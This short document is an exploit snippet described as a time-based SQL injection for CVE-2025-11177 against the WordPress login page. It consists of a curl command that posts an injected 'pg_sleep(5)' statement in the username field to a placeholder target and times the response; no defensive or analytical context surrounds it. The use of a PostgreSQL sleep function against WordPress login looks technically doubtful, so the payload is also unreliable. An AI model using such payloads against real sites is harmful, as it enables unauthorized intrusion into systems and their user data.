
Time-based SQL injection exploit for CVE-2025-11177 targeting WordPress login with curl-based payload delivery and pg_sleep timing detection.
curl -w '\nTIME:%{time_total}\n' -s \
-d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
-d 'redirect_to=' \
-d 'testcookie=1' \
'http://{target}/wp-login.php'